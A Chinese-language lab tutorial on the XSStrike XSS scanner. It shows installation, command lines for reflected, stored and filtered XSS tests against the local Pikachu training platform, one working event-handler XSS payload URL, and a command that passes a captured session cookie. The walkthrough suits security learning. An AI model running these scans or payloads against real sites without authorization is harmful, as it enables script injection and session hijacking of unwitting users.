自动化xss测试工具XSStrike学习

XSStrike工具安装

这是一个github上面的开源工具,直接clone下来

(这里我新建了一个名为ctf的conda环境,专门用于跑ctf的脚本)

1
git clone https://github.com/s0md3v/XSStrike.git

然后安装一下所需的库

1
pip install -r requirements.txt

这样就安装完成了(注:这个工具必须运行在大于等于3.4的python环境)

XSStrike的基本使用

下面是他的常用命令

  • -u url
  • –skip 跳过确认提示
  • –skip-dom 跳过dom型扫描
  • –data post型时的数据

这里我们使用pikachu平台进行测试

反射型xss(get)

这是最简单的,我们先手动submit一下看看url

直接写payload

1
python xsstrike.py -u "http://127.0.0.1/pikachu-master/vul/xss/xss_reflected_get.php?message=k123&submit=submit" --skip --skip-dom

这就是根据刚刚的基本命令写的,最后两个参数就是跳过确认提示和跳过dom型扫描,因为已经说了是反射型了

因为这个是最简单的xss所以有很多的payload,列出的payload都是成功的

比如第一个(注意payload包括括号)

1
http://10.211.55.4/pikachu-master/vul/xss/xss_reflected_get.php?message=%3CdEtaIls/+/ontoggLE+=+[8].find(confirm)%3E&submit=submit

点击详细信息就会弹窗(safari浏览器弹不了,只能用谷歌)

反射型XSS(post)

这个是需要登陆的,所以需要拿cookie

这里传的参是通过post传的,所以还需要拿post

获取post可以抓包获取,也可以直接看请求

点一下view source看完整的

这就是post请求了,然后再找cookie

可以在控制台输入document.cookie来获取cookie

现在有了post请求和cookie就可以使用软件了

1
python xsstrike.py -u "http://10.211.55.4/pikachu-master/vul/xss/xsspost/xss_reflected_post.php" --data "message=1&submit=submit" --headers "Cookie: ant[uname]=admin; ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815; PHPSESSID=ik287bd9bniuabdun1psescmr3"

要注意格式,需要自己添加Cookie:然后这后面又个空格

用第一个payload试一试

配合hackbar发送

鼠标移动上去就弹窗

存储型XSS

这也是post发送的

1
python xsstrike.py -u "http://10.211.55.4/pikachu-master/vul/xss/xss_stored.php" --data "message=1&submit=submit" --skip-dom --skip

因为这是存储的,所以它测试的时候会不断传进去,及时按ctrl+c停止

DOM型XSS

这个用XSStrike做不出来,如果有人可以做出来欢迎补充

XSS之过滤

通过get传参并且有回显,直接跑

1
python xsstrike.py -u "http://10.211.55.4/pikachu-master/vul/xss/xss_01.php?message=13&submit=submit" --skip

XSS之HTML特殊字符

这题用工具跑出来的payload用不了,会被转义

还是手动好

XSS之href输出

1
python xsstrike.py -u "http://10.211.55.4/pikachu-master/vul/xss/xss_03.php?message=123&submit=submit" --skip

XSS之href输出

这题也不能靠工具